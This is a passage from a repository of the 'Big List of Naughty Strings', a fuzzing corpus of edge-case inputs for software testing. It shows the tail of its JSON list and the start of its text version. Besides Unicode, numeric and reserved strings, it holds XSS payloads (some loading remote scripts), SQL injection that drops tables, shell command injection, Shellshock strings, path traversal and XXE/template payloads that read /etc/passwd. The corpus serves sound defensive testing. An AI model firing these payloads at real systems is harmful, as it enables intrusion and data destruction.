DEF",
256 | "
test",
257 | "
test",
258 | "
test",
259 | "
test",
260 | "
test",
261 | "
test",
262 | "
test",
263 | "
test",
264 | "
test",
265 | "
test",
266 | "
test",
267 | "
test",
268 | "
test",
269 | "
test",
270 | "
test",
271 | "
test",
272 | "
test",
273 | "
test",
274 | "
test",
275 | "
test",
276 | "
test",
277 | "
test",
278 | "
test",
279 | "
test",
280 | "
test",
281 | "
test",
282 | "
test",
283 | "
test",
284 | "
test",
285 | "
test",
286 | "
test",
287 | "
test",
288 | "
test",
289 | "
test",
290 | "
test",
291 | "
test",
292 | "
test",
293 | "
test",
294 | "
test",
295 | "
test",
296 | "
test",
297 | "
test",
298 | "
test",
299 | "
test",
300 | "
test",
301 | "
test",
302 | "
test",
303 | "
test",
304 | "
test",
305 | "
test",
306 | "
test",
307 | "
test",
308 | "
test",
309 | "
test",
310 | "
test",
311 | "
test",
312 | "
test",
313 | "`\"'>
",
314 | "`\"'>
",
315 | "`\"'>
",
316 | "`\"'>
",
317 | "`\"'>
",
318 | "`\"'>
",
319 | "`\"'>
",
320 | "`\"'>
",
321 | "`\"'>
",
322 | "`\"'>
",
323 | "\"`'>",
324 | "\"`'>",
325 | "\"`'>",
326 | "\"`'>",
327 | "\"`'>",
328 | "\"`'>",
329 | "\"`'>",
330 | "\"`'>",
331 | "\"`'>",
332 | "\"`'>",
333 | "\"`'>",
334 | "\"`'>",
335 | "\"`'>",
336 | "\"`'>",
337 | "\"`'>",
338 | "\"`'>",
339 | "\"`'>",
340 | "\"`'>",
341 | "\"`'>",
342 | "\"`'>",
343 | "\"`'>",
344 | "\"`'>",
345 | "\"`'>",
346 | "\"`'>",
347 | "\"`'>",
348 | "\"`'>",
349 | "\"`'>",
350 | "\"`'>",
351 | "\"`'>",
352 | "\"`'>",
353 | "\"`'>",
354 | "\"`'>",
355 | "\"`'>",
356 | "\"`'>",
357 | "\"`'>",
358 | "\"`'>",
359 | "\"`'>",
360 | "
![]()
",
361 | "
![]()
",
362 | "
![]()
",
363 | "
![]()
",
364 | "
",
365 | "",
366 | "",
367 | "",
368 | "",
369 | "",
370 | "![]()
",
371 | "![]()
",
372 | "![]()
",
373 | "![]()
",
374 | "![]()
",
375 | "![]()
",
376 | "![]()
",
377 | "![]()
",
378 | "![]()
",
379 | "![]()
",
380 | "![]()
",
381 | "![]()
",
382 | "![](x\\x09onerror=\"javascript:alert(1)\")
",
383 | "![](x\\x10onerror=\"javascript:alert(1)\")
",
384 | "![](x\\x11onerror=\"javascript:alert(1)\")
",
385 | "![](x\\x12onerror=\"javascript:alert(1)\")
",
386 | "![](x\\x13onerror=\"javascript:alert(1)\")
",
387 | "",
388 | "
",
389 | "",
390 | "",
391 | "",
392 | "",
393 | "",
394 | "XXX",
395 | "![](\"x`)
javascript:alert(1)\"` `>",
396 | "![]()
",
397 | "",
398 | "<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x onerror=javascript:alert(1)></a>\">",
399 | "<!--[if]><script>javascript:alert(1)</script -->",
400 | "<!--[if<img src=x onerror=javascript:alert(1)//]> -->",
401 | "<script src=\"/\\%(jscript)s\"></script>",
402 | "<script src=\"\\\\%(jscript)s\"></script>",
403 | "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">",
404 | "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
405 | "<IMG SRC=# onmouseover=\"alert('xxs')\">",
406 | "<IMG SRC= onmouseover=\"alert('xxs')\">",
407 | "<IMG onmouseover=\"alert('xxs')\">",
408 | "<IMG SRC=javascript:alert('XSS')>",
409 | "<IMG SRC=javascript:alert('XSS')>",
410 | "<IMG SRC=javascript:alert('XSS')>",
411 | "<IMG SRC=\"jav ascript:alert('XSS');\">",
412 | "<IMG SRC=\"jav ascript:alert('XSS');\">",
413 | "<IMG SRC=\"jav
ascript:alert('XSS');\">",
414 | "<IMG SRC=\"jav
ascript:alert('XSS');\">",
415 | "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out",
416 | "<IMG SRC=\" javascript:alert('XSS');\">",
417 | "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
418 | "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>",
419 | "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
420 | "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>",
421 | "<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >",
422 | "<SCRIPT SRC=//ha.ckers.org/.j>",
423 | "<IMG SRC=\"javascript:alert('XSS')\"",
424 | "<iframe src=http://ha.ckers.org/scriptlet.html <",
425 | "\\\";alert('XSS');//",
426 | "<u oncopy=alert()> Copy me</u>",
427 | "<i onwheel=alert(1)> Scroll over me </i>",
428 | "<plaintext>",
429 | "http://a/%%30%30",
430 | "</textarea><script>alert(123)</script>",
431 | "1;DROP TABLE users",
432 | "1'; DROP TABLE users-- 1",
433 | "' OR 1=1 -- 1",
434 | "' OR '1'='1",
435 | "'; EXEC sp_MSForEachTable 'DROP TABLE ?'; --",
436 | " ",
437 | "%",
438 | "_",
439 | "-",
440 | "--",
441 | "--version",
442 | "--help",
443 | "$USER",
444 | "/dev/null; touch /tmp/blns.fail ; echo",
445 | "`touch /tmp/blns.fail`",
446 | "$(touch /tmp/blns.fail)",
447 | "@{[system \"touch /tmp/blns.fail\"]}",
448 | "eval(\"puts 'hello world'\")",
449 | "System(\"ls -al /\")",
450 | "`ls -al /`",
451 | "Kernel.exec(\"ls -al /\")",
452 | "Kernel.exit(1)",
453 | "%x('ls -al /')",
454 | "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]><foo>&xxe;</foo>",
455 | "$HOME",
456 | "$ENV{'HOME'}",
457 | "%d",
458 | "%s%s%s%s%s",
459 | "{0}",
460 | "%*.*s",
461 | "%@",
462 | "%n",
463 | "File:///",
464 | "../../../../../../../../../../../etc/passwd%00",
465 | "../../../../../../../../../../../etc/hosts",
466 | "() { 0; }; touch /tmp/blns.shellshock1.fail;",
467 | "() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }",
468 | "<<< %s(un='%s') = %u",
469 | "+++ATH0",
470 | "CON",
471 | "PRN",
472 | "AUX",
473 | "CLOCK$",
474 | "NUL",
475 | "A:",
476 | "ZZ:",
477 | "COM1",
478 | "LPT1",
479 | "LPT2",
480 | "LPT3",
481 | "COM2",
482 | "COM3",
483 | "COM4",
484 | "DCC SEND STARTKEYLOGGER 0 0 0",
485 | "Scunthorpe General Hospital",
486 | "Penistone Community Church",
487 | "Lightwater Country Park",
488 | "Jimmy Clitheroe",
489 | "Horniman Museum",
490 | "shitake mushrooms",
491 | "RomansInSussex.co.uk",
492 | "http://www.cum.qc.ca/",
493 | "Craig Cockburn, Software Specialist",
494 | "Linda Callahan",
495 | "Dr. Herman I. Libshitz",
496 | "magna cum laude",
497 | "Super Bowl XXX",
498 | "medieval erection of parapets",
499 | "evaluate",
500 | "mocha",
501 | "expression",
502 | "Arsenal canal",
503 | "classic",
504 | "Tyson Gay",
505 | "Dick Van Dyke",
506 | "basement",
507 | "If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.",
508 | "Roses are \u001b[0;31mred\u001b[0m, violets are \u001b[0;34mblue. Hope you enjoy terminal hue",
509 | "But now...\u001b[20Cfor my greatest trick...\u001b[8m",
510 | "The quic\b\b\b\b\b\bk brown fo\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007\u0007x... [Beeeep]",
511 | "Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗",
512 | "🏳0🌈️",
513 | "జ్ఞా",
514 | "گچپژ",
515 | "{% print 'x' * 64 * 1024**3 %}",
516 | "{{ \"\".__class__.__mro__[2].__subclasses__()[40](\"/etc/passwd\").read() }}"
517 | ]
518 |
--------------------------------------------------------------------------------
/blns.txt:
--------------------------------------------------------------------------------
1 | # Reserved Strings
2 | #
3 | # Strings which may be used elsewhere in code
4 |
5 | undefined
6 | undef
7 | null
8 | NULL
9 | (null)
10 | nil
11 | NIL
12 | true
13 | false
14 | True
15 | False
16 | TRUE
17 | FALSE
18 | None
19 | hasOwnProperty
20 | then
21 | constructor
22 | \
23 | \\
24 |
25 | # Numeric Strings
26 | #
27 | # Strings which can be interpreted as numeric
28 |
29 | 0
30 | 1
31 | 1.00
32 | $1.00
33 | 1/2
34 | 1E2
35 | 1E02
36 | 1E+02
37 | -1
38 | -1.00
39 | -$1.00
40 | -1/2
41 | -1E2
42 | -1E02
43 | -1E+02
44 | 1/0
45 | 0/0
46 | -2147483648/-1
47 | -9223372036854775808/-1
48 | -0
49 | -0.0
50 | +0
51 | +0.0
52 | 0.00
53 | 0..0
54 | .
55 | 0.0.0
56 | 0,00
57 | 0,,0
58 | ,
59 | 0,0,0
60 | 0.0/0
61 | 1.0/0.0
62 | 0.0/0.0
63 | 1,0/0,0
64 | 0,0/0,0
65 | --1
66 | -
67 | -.
68 | -,
69 | 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
70 | NaN
71 | Infinity
72 | -Infinity
73 | INF
74 | 1#INF
75 | -1#IND
76 | 1#QNAN
77 | 1#SNAN
78 | 1#IND
79 | 0x0
80 | 0xffffffff
81 | 0xffffffffffffffff
82 | 0xabad1dea
83 | 123456789012345678901234567890123456789
84 | 1,000.00
85 | 1 000.00
86 | 1'000.00
87 | 1,000,000.00
88 | 1 000 000.00
89 | 1'000'000.00
90 | 1.000,00
91 | 1 000,00
92 | 1'000,00
93 | 1.000.000,00
94 | 1 000 000,00
95 | 1'000'000,00
96 | 01000
97 | 08
98 | 09
99 | 2.2250738585072011e-308
100 |
101 | # Special Characters
102 | #
103 | # ASCII punctuation. All of these characters may need to be escaped in some
104 | # contexts. Divided into three groups based on (US-layout) keyboard position.
105 |
106 | ,./;'[]\-=
107 | <>?:"{}|_+
108 | !@#$%^&*()`~
109 |
110 | # Non-whitespace C0 controls: U+0001 through U+0008, U+000E through U+001F,
111 | # and U+007F (DEL)
112 | # Often forbidden to appear in various text-based file formats (e.g. XML),
113 | # or reused for internal delimiters on the theory that they should never
114 | # appear in input.
115 | # The next line may appear to be blank or mojibake in some viewers.
116 |
117 |
118 | # Non-whitespace C1 controls: U+0080 through U+0084 and U+0086 through U+009F.
119 | # Commonly misinterpreted as additional graphic characters.
120 | # The next line may appear to be blank, mojibake, or dingbats in some viewers.
121 |
122 |
123 | # Whitespace: all of the characters with category Zs, Zl, or Zp (in Unicode
124 | # version 8.0.0), plus U+0009 (HT), U+000B (VT), U+000C (FF), U+0085 (NEL),
125 | # and U+200B (ZERO WIDTH SPACE), which are in the C categories but are often
126 | # treated as whitespace in some contexts.
127 | # This file unfortunately cannot express strings containing
128 | # U+0000, U+000A, or U+000D (NUL, LF, CR).
129 | # The next line may appear to be blank or mojibake in some viewers.
130 | # The next line may be flagged for "trailing whitespace" in some viewers.
131 |
132 |
133 | # Unicode additional control characters: all of the characters with
134 | # general category Cf (in Unicode 8.0.0).
135 | # The next line may appear to be blank or mojibake in some viewers.
136 |
137 |
138 | # "Byte order marks", U+FEFF and U+FFFE, each on its own line.
139 | # The next two lines may appear to be blank or mojibake in some viewers.
140 |
141 |
142 |
143 | # Unicode Symbols
144 | #
145 | # Strings which contain common unicode symbols (e.g. smart quotes)
146 |
147 | Ω≈ç√∫˜µ≤≥÷
148 | åß∂ƒ©˙∆˚¬…æ
149 | œ∑´®†¥¨ˆøπ“‘
150 | ¡™£¢∞§¶•ªº–≠
151 | ¸˛Ç◊ı˜Â¯˘¿
152 | ÅÍÎÏ˝ÓÔÒÚÆ☃
153 | Œ„´‰ˇÁ¨ˆØ∏”’
154 | `⁄€‹›fifl‡°·‚—±
155 | ⅛⅜⅝⅞
156 | ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
157 | ٠١٢٣٤٥٦٧٨٩
158 |
159 | # Unicode Subscript/Superscript/Accents
160 | #
161 | # Strings which contain unicode subscripts/superscripts; can cause rendering issues
162 |
163 | ⁰⁴⁵
164 | ₀₁₂
165 | ⁰⁴⁵₀₁₂
166 | ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็ ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็
167 |
168 | # Quotation Marks
169 | #
170 | # Strings which contain misplaced quotation marks; can cause encoding errors
171 |
172 | '
173 | "
174 | ''
175 | ""
176 | '"'
177 | "''''"'"
178 | "'"'"''''"
179 | <foo val=“bar” />
180 | <foo val=“bar” />
181 | <foo val=”bar“ />
182 | <foo val=`bar' />
183 |
184 | # Two-Byte Characters
185 | #
186 | # Strings which contain two-byte characters: can cause rendering issues or character-length issues
187 |
188 | 田中さんにあげて下さい
189 | パーティーへ行かないか
190 | 和製漢語
191 | 部落格
192 | 사회과학원 어학연구소
193 | 찦차를 타고 온 펲시맨과 쑛다리 똠방각하
194 | 社會科學院語學研究所
195 | 울란바토르
196 | 𠜎𠜱𠝹𠱓𠱸𠲖𠳏
197 |
198 | # Strings which contain two-byte letters: can cause issues with naïve UTF-16 capitalizers which think that 16 bits == 1 character
199 |
200 | 𐐜 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐙𐐊𐐡𐐝𐐓/𐐝𐐇𐐗𐐊𐐤𐐔 𐐒𐐋𐐗 𐐒𐐌 𐐜 𐐡𐐀𐐖𐐇𐐤𐐓𐐝 𐐱𐑂 𐑄 𐐔𐐇𐐝𐐀𐐡𐐇𐐓 𐐏𐐆𐐅𐐤𐐆𐐚𐐊𐐡𐐝𐐆𐐓𐐆
201 |
202 | # Special Unicode Characters Union
203 | #
204 | # A super string recommended by VMware Inc. Globalization Team: can effectively cause rendering issues or character-length issues to validate product globalization readiness.
205 | #
206 | # 表 CJK_UNIFIED_IDEOGRAPHS (U+8868)
207 | # ポ KATAKANA LETTER PO (U+30DD)
208 | # あ HIRAGANA LETTER A (U+3042)
209 | # A LATIN CAPITAL LETTER A (U+0041)
210 | # 鷗 CJK_UNIFIED_IDEOGRAPHS (U+9DD7)
211 | # ΠLATIN SMALL LIGATURE OE (U+0153)
212 | # é LATIN SMALL LETTER E WITH ACUTE (U+00E9)
213 | # Ｂ FULLWIDTH LATIN CAPITAL LETTER B (U+FF22)
214 | # 逍 CJK_UNIFIED_IDEOGRAPHS (U+900D)
215 | # Ü LATIN SMALL LETTER U WITH DIAERESIS (U+00FC)
216 | # ß LATIN SMALL LETTER SHARP S (U+00DF)
217 | # ª FEMININE ORDINAL INDICATOR (U+00AA)
218 | # ą LATIN SMALL LETTER A WITH OGONEK (U+0105)
219 | # ñ LATIN SMALL LETTER N WITH TILDE (U+00F1)
220 | # 丂 CJK_UNIFIED_IDEOGRAPHS (U+4E02)
221 | # 㐀 CJK Ideograph Extension A, First (U+3400)
222 | # 𠀀 CJK Ideograph Extension B, First (U+20000)
223 |
224 | 表ポあA鷗ŒéＢ逍Üߪąñ丂㐀𠀀
225 |
226 | # Changing length when lowercased
227 | #
228 | # Characters which increase in length (2 to 3 bytes) when lowercased
229 | # Credit: https://twitter.com/jifa/status/625776454479970304
230 |
231 | Ⱥ
232 | Ⱦ
233 |
234 | # Japanese Emoticons
235 | #
236 | # Strings which consists of Japanese-style emoticons which are popular on the web
237 |
238 | ヽ༼ຈل͜ຈ༽ﾉ ヽ༼ຈل͜ຈ༽ﾉ
239 | (｡◕ ∀ ◕｡)
240 | ｀ｨ(´∀｀∩
241 | __ﾛ(,_,*)
242 | ・(￣∀￣)・:*:
243 | ﾟ･✿ヾ╲(｡◕‿◕｡)╱✿･ﾟ
244 | ,。・:*:・゜’( ☻ ω ☻ )。・:*:・゜’
245 | (╯°□°）╯︵ ┻━┻)
246 | (ﾉಥ益ಥ）ﾉ ┻━┻
247 | ┬─┬ノ( º _ ºノ)
248 | ( ͡° ͜ʖ ͡°)
249 | ¯\_(ツ)_/¯
250 |
251 | # Emoji
252 | #
253 | # Strings which contain Emoji; should be the same behavior as two-byte characters, but not always
254 |
255 | 😍
256 | 👩🏽
257 | 👨🦰 👨🏿🦰 👨🦱 👨🏿🦱 🦹🏿♂️
258 | 👾 🙇 💁 🙅 🙆 🙋 🙎 🙍
259 | 🐵 🙈 🙉 🙊
260 | ❤️ 💔 💌 💕 💞 💓 💗 💖 💘 💝 💟 💜 💛 💚 💙
261 | ✋🏿 💪🏿 👐🏿 🙌🏿 👏🏿 🙏🏿
262 | 👨👩👦 👨👩👧👦 👨👨👦 👩👩👧 👨👦 👨👧👦 👩👦 👩👧👦
263 | 🚾 🆒 🆓 🆕 🆖 🆗 🆙 🏧
264 | 0️⃣ 1️⃣ 2️⃣ 3️⃣ 4️⃣ 5️⃣ 6️⃣ 7️⃣ 8️⃣ 9️⃣ 🔟
265 |
266 | # Regional Indicator Symbols
267 | #
268 | # Regional Indicator Symbols can be displayed differently across
269 | # fonts, and have a number of special behaviors
270 |
271 | 🇺🇸🇷🇺🇸 🇦🇫🇦🇲🇸
272 | 🇺🇸🇷🇺🇸🇦🇫🇦🇲
273 | 🇺🇸🇷🇺🇸🇦
274 |
275 | # Unicode Numbers
276 | #
277 | # Strings which contain unicode numbers; if the code is localized, it should see the input as numeric
278 |
279 | １２３
280 | ١٢٣
281 |
282 | # Right-To-Left Strings
283 | #
284 | # Strings which contain text that should be rendered RTL if possible (e.g. Arabic, Hebrew)
285 |
286 | ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
287 | בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
288 | הָיְתָהtestالصفحات التّحول
289 | ﷽
290 | ﷺ
291 | مُنَاقَشَةُ سُبُلِ اِسْتِخْدَامِ اللُّغَةِ فِي النُّظُمِ الْقَائِمَةِ وَفِيم يَخُصَّ التَّطْبِيقَاتُ الْحاسُوبِيَّةُ،
292 | الكل في المجمو عة (5)
293 |
294 | # Ogham Text
295 | #
296 | # The only unicode alphabet to use a space which isn't empty but should still act like a space.
297 |
298 | ᚛ᚄᚓᚐᚋᚒᚄ ᚑᚄᚂᚑᚏᚅ᚜
299 | ᚛ ᚜
300 |
301 | # Trick Unicode
302 | #
303 | # Strings which contain unicode with unusual properties (e.g. Right-to-left override) (c.f. http://www.unicode.org/charts/PDF/U2000.pdf)
304 |
305 | test
306 | test
307 |
test
308 | testtest
309 | test
310 |
311 | # Zalgo Text
312 | #
313 | # Strings which contain "corrupted" text. The corruption will not appear in non-HTML text, however. (via http://www.eeemo.net)
314 |
315 | Ṱ̺̺̕o͞ ̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤ ̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎ ̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳ ̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠̣͟s̘͇̳͍̝͉e͉̥̯̞̲͚̬͜ǹ̬͎͎̟̖͇̤t͍̬̤͓̼̭͘ͅi̪̱n͠g̴͉ ͏͉ͅc̬̟h͡a̫̻̯͘o̫̟̖͍̙̝͉s̗̦̲.̨̹͈̣
316 | ̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎ ̰t͔̦h̞̲e̢̤ ͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍ ̨o͚̪͡f̘̣̬ ̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖̦̻͢.̛̖̞̠̫̰
317 | ̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔ ͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜ ̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟ ̯̲͕͞ǫ̟̯̰̲͙̻̝f ̪̰̰̗̖̭̘͘c̦͍̲̞͍̩̙ḥ͚a̮͎̟̙͜ơ̩̹͎s̤.̝̝ ҉Z̡̖̜͖̰̣͉̜a͖̰͙̬͡l̲̫̳͍̩g̡̟̼̱͚̞̬ͅo̗͜.̟
318 | ̦H̬̤̗̤͝e͜ ̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮ ҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕ ̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖ ̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ ̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹̼̣l̴͔̰̤̟͔ḽ̫.͕
319 | Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮
320 |
321 | # Unicode Upsidedown
322 | #
323 | # Strings which contain unicode with an "upsidedown" effect (via http://www.upsidedowntext.com)
324 |
325 | ˙ɐnbᴉlɐ ɐuƃɐɯ ǝɹolop ʇǝ ǝɹoqɐl ʇn ʇunpᴉpᴉɔuᴉ ɹodɯǝʇ poɯsnᴉǝ op pǝs 'ʇᴉlǝ ƃuᴉɔsᴉdᴉpɐ ɹnʇǝʇɔǝsuoɔ 'ʇǝɯɐ ʇᴉs ɹolop ɯnsdᴉ ɯǝɹo˥
326 | 00˙Ɩ$-
327 |
328 | # Unicode font
329 | #
330 | # Strings which contain bold/italic/etc. versions of normal characters
331 |
332 | Ｔｈｅ ｑｕｉｃｋ ｂｒｏｗｎ ｆｏｘ ｊｕｍｐｓ ｏｖｅｒ ｔｈｅ ｌａｚｙ ｄｏｇ
333 | 𝐓𝐡𝐞 𝐪𝐮𝐢𝐜𝐤 𝐛𝐫𝐨𝐰𝐧 𝐟𝐨𝐱 𝐣𝐮𝐦𝐩𝐬 𝐨𝐯𝐞𝐫 𝐭𝐡𝐞 𝐥𝐚𝐳𝐲 𝐝𝐨𝐠
334 | 𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌
335 | 𝑻𝒉𝒆 𝒒𝒖𝒊𝒄𝒌 𝒃𝒓𝒐𝒘𝒏 𝒇𝒐𝒙 𝒋𝒖𝒎𝒑𝒔 𝒐𝒗𝒆𝒓 𝒕𝒉𝒆 𝒍𝒂𝒛𝒚 𝒅𝒐𝒈
336 | 𝓣𝓱𝓮 𝓺𝓾𝓲𝓬𝓴 𝓫𝓻𝓸𝔀𝓷 𝓯𝓸𝔁 𝓳𝓾𝓶𝓹𝓼 𝓸𝓿𝓮𝓻 𝓽𝓱𝓮 𝓵𝓪𝔃𝔂 𝓭𝓸𝓰
337 | 𝕋𝕙𝕖 𝕢𝕦𝕚𝕔𝕜 𝕓𝕣𝕠𝕨𝕟 𝕗𝕠𝕩 𝕛𝕦𝕞𝕡𝕤 𝕠𝕧𝕖𝕣 𝕥𝕙𝕖 𝕝𝕒𝕫𝕪 𝕕𝕠𝕘
338 | 𝚃𝚑𝚎 𝚚𝚞𝚒𝚌𝚔 𝚋𝚛𝚘𝚠𝚗 𝚏𝚘𝚡 𝚓𝚞𝚖𝚙𝚜 𝚘𝚟𝚎𝚛 𝚝𝚑𝚎 𝚕𝚊𝚣𝚢 𝚍𝚘𝚐
339 | ⒯⒣⒠ ⒬⒰⒤⒞⒦ ⒝⒭⒪⒲⒩ ⒡⒪⒳ ⒥⒰⒨⒫⒮ ⒪⒱⒠⒭ ⒯⒣⒠ ⒧⒜⒵⒴ ⒟⒪⒢
340 |
341 | # Script Injection
342 | #
343 | # Strings which attempt to invoke a benign script injection; shows vulnerability to XSS
344 |
345 | <script>alert(0)</script>
346 | <script>alert('1');</script>
347 | <img src=x onerror=alert(2) />
348 | <svg><script>123<1>alert(3)</script>
349 | "><script>alert(4)</script>
350 | '><script>alert(5)</script>
351 | ><script>alert(6)</script>
352 | </script><script>alert(7)</script>
353 | < / script >< script >alert(8)< / script >
354 | onfocus=JaVaSCript:alert(9) autofocus
355 | " onfocus=JaVaSCript:alert(10) autofocus
356 | ' onfocus=JaVaSCript:alert(11) autofocus
357 | ＜script＞alert(12)＜/script＞
358 | <sc<script>ript>alert(13)</sc</script>ript>
359 | --><script>alert(14)</script>
360 | ";alert(15);t="
361 | ';alert(16);t='
362 | JavaSCript:alert(17)
363 | ;alert(18);
364 | src=JaVaSCript:prompt(19)
365 | "><script>alert(20);</script x="
366 | '><script>alert(21);</script x='
367 | ><script>alert(22);</script x=
368 | " autofocus onkeyup="javascript:alert(23)
369 | ' autofocus onkeyup='javascript:alert(24)
370 | <script\x20type="text/javascript">javascript:alert(25);</script>
371 | <script\x3Etype="text/javascript">javascript:alert(26);</script>
372 | <script\x0Dtype="text/javascript">javascript:alert(27);</script>
373 | <script\x09type="text/javascript">javascript:alert(28);</script>
374 | <script\x0Ctype="text/javascript">javascript:alert(29);</script>
375 | <script\x2Ftype="text/javascript">javascript:alert(30);</script>
376 | <script\x0Atype="text/javascript">javascript:alert(31);</script>
377 | '`"><\x3Cscript>javascript:alert(32)</script>
378 | '`"><\x00script>javascript:alert(33)</script>
379 | ABC<div style="x\x3Aexpression(javascript:alert(34)">DEF
380 | ABC<div style="x:expression\x5C(javascript:alert(35)">DEF
381 | ABC<div style="x:expression\x00(javascript:alert(36)">DEF
382 | ABC<div style="x:exp\x00ression(javascript:alert(37)">DEF
383 | ABC<div style="x:exp\x5Cression(javascript:alert(38)">DEF
384 | ABC<div style="x:\x0Aexpression(javascript:alert(39)">DEF
385 | ABC<div style="x:\x09expression(javascript:alert(40)">DEF
386 | ABC<div style="x:\xE3\x80\x80expression(javascript:alert(41)">DEF
387 | ABC<div style="x:\xE2\x80\x84expression(javascript:alert(42)">DEF
388 | ABC<div style="x:\xC2\xA0expression(javascript:alert(43)">DEF
389 | ABC<div style="x:\xE2\x80\x80expression(javascript:alert(44)">DEF
390 | ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(45)">DEF
391 | ABC<div style="x:\x0Dexpression(javascript:alert(46)">DEF
392 | ABC<div style="x:\x0Cexpression(javascript:alert(47)">DEF
393 | ABC<div style="x:\xE2\x80\x87expression(javascript:alert(48)">DEF
394 | ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(49)">DEF
395 | ABC<div style="x:\x20expression(javascript:alert(50)">DEF
396 | ABC<div style="x:\xE2\x80\x88expression(javascript:alert(51)">DEF
397 | ABC<div style="x:\x00expression(javascript:alert(52)">DEF
398 | ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(53)">DEF
399 | ABC<div style="x:\xE2\x80\x86expression(javascript:alert(54)">DEF
400 | ABC<div style="x:\xE2\x80\x85expression(javascript:alert(55)">DEF
401 | ABC<div style="x:\xE2\x80\x82expression(javascript:alert(56)">DEF
402 | ABC<div style="x:\x0Bexpression(javascript:alert(57)">DEF
403 | ABC<div style="x:\xE2\x80\x81expression(javascript:alert(58)">DEF
404 | ABC<div style="x:\xE2\x80\x83expression(javascript:alert(59)">DEF
405 | ABC<div style="x:\xE2\x80\x89expression(javascript:alert(60)">DEF
406 | <a href="\x0Bjavascript:javascript:alert(61)" id="fuzzelement1">test</a>
407 | <a href="\x0Fjavascript:javascript:alert(62)" id="fuzzelement1">test</a>
408 | <a href="\xC2\xA0javascript:javascript:alert(63)" id="fuzzelement1">test</a>
409 | <a href="\x05javascript:javascript:alert(64)" id="fuzzelement1">test</a>
410 | <a href="\xE1\xA0\x8Ejavascript:javascript:alert(65)" id="fuzzelement1">test</a>
411 | <a href="\x18javascript:javascript:alert(66)" id="fuzzelement1">test</a>
412 | <a href="\x11javascript:javascript:alert(67)" id="fuzzelement1">test</a>
413 | <a href="\xE2\x80\x88javascript:javascript:alert(68)" id="fuzzelement1">test</a>
414 | <a href="\xE2\x80\x89javascript:javascript:alert(69)" id="fuzzelement1">test</a>
415 | <a href="\xE2\x80\x80javascript:javascript:alert(70)" id="fuzzelement1">test</a>
